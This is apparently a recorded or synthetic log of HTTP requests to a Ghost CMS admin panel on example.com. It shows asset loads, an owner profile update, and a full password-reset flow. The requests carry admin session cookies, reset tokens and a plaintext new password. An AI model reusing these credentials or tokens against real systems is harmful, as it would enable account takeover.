{"method": "GET", "target": "/ghost/assets/combobox-BCtZYCId.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/no-value-label-DSmoO1YP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/sortable-list-BNNvEEC0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/table-CC1_-yCM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-staff-users-BYweBbfD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/referrers-CP0OJptg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/navigation-DOQYs-rU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/member-custom-fields-DcFfln-a.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/src-BDyV_fBQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/list-settings-DtwS3ymI.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-feature-limit-4zNG5bLS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/gift-links-B1YU5Md_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-upgrade-route-B5f80QZK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-setting-group-D5TMKznJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/color-picker-field-D4rsXzSv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/color-picker-cL1FE5QD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/debounce-CmSZqU2N.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/header-image-field-Dcw8joEW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/icon-toggle-group-CRIhZEDY.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/color-utils-DPZ_D9rj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-pintura-editor-Ba4OMh5s.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/analytics-Cnmm84rB.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-check-theme-limit-error-cdxVti9_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-query-params-Db2_7OQG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/stripe-button-B_jqNRxG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tier-detail-preview-BQcFMMKy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-url-input-BYvhvRBx.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/format-url-AXIF9pWF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/users/6af4570fd281b00001a59891/?include=roles", "headers": ["Host: example.com", "Content-Length: 1369", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": "{\"users\":[{\"id\":\"6af4570fd281b00001a59891\",\"name\":\"Alice Example\",\"slug\":\"alice\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":null,\"website\":null,\"location\":null,\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"whatsNew\\\":{\\\"lastSeenDate\\\":\\\"2026-11-11T11:54:12.801Z\\\"},\\\"nightShift\\\":\\\"system\\\",\\\"onboarding\\\":{\\\"completedSteps\\\":[],\\\"checklistState\\\":\\\"started\\\",\\\"startedAt\\\":\\\"2026-11-11T11:54:12.758Z\\\"},\\\"navigation\\\":{\\\"expanded\\\":{\\\"posts\\\":true,\\\"members\\\":true},\\\"menu\\\":{\\\"visible\\\":true}}}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-11T11:54:12.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"roles\":[{\"id\":\"6af4570fd281b00001a59896\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:52:47.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
{"method": "GET", "target": "/ghost/assets/signin-DyvUc-9g.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/authentication/password_reset/", "headers": ["Host: example.com", "Content-Length: 50", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"password_reset\":[{\"email\":\"alice@example.com\"}]}"}
{"method": "GET", "target": "/ghost/reset/MTc5NDQ4NDU2OTEzMnxhbGljZUBleGFtcGxlLmNvbXw0K05heDREb1JvdDJ0eFRKOGZ3cWJQNGlNS2NLSU1LMHJCZmoyT0xXcHdVPQ/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/reset-CSFWz6q9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/reset/MTc5NDQ4NDU4MTQyOHxhbGljZUBleGFtcGxlLmNvbXxhaEY2WkdnSCtjVi81dVZUbHZDSnI4OFI1SkRRUC9nRnIxVXBvS3hwMExJPQ/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/authentication/password_reset/", "headers": ["Host: example.com", "Content-Length: 205", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"password_reset\":[{\"token\":\"MTc5NDQ4NDU4MTQyOHxhbGljZUBleGFtcGxlLmNvbXxhaEY2WkdnSCtjVi81dVZUbHZDSnI4OFI1SkRRUC9nRnIxVXBvS3hwMExJPQ\",\"newPassword\":\"Hv4-mQz8-Lr2x-Tp9w\",\"ne2Password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
{"method": "GET", "target": "/ghost/assets/overview-BDaNMWAn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/post-utils-BquGrXlP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/post-helpers-LZp03sYO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/date-utils-z22LS7qM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/date-range-select-BlnphfjU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/card-DPXlaRvx.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/gh-chart-BI-8tErJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chart-Cf6NuIj-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pagemenu-65l5c8WQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/kpi-card-CHygnBnv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/trend-badge-wNKjMxTt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/stats-view-BK_XhwrN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/list-page-CnIBL9cj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-analytics-data-D2HOTQf5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-growth-stats-Bgr_JFJl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
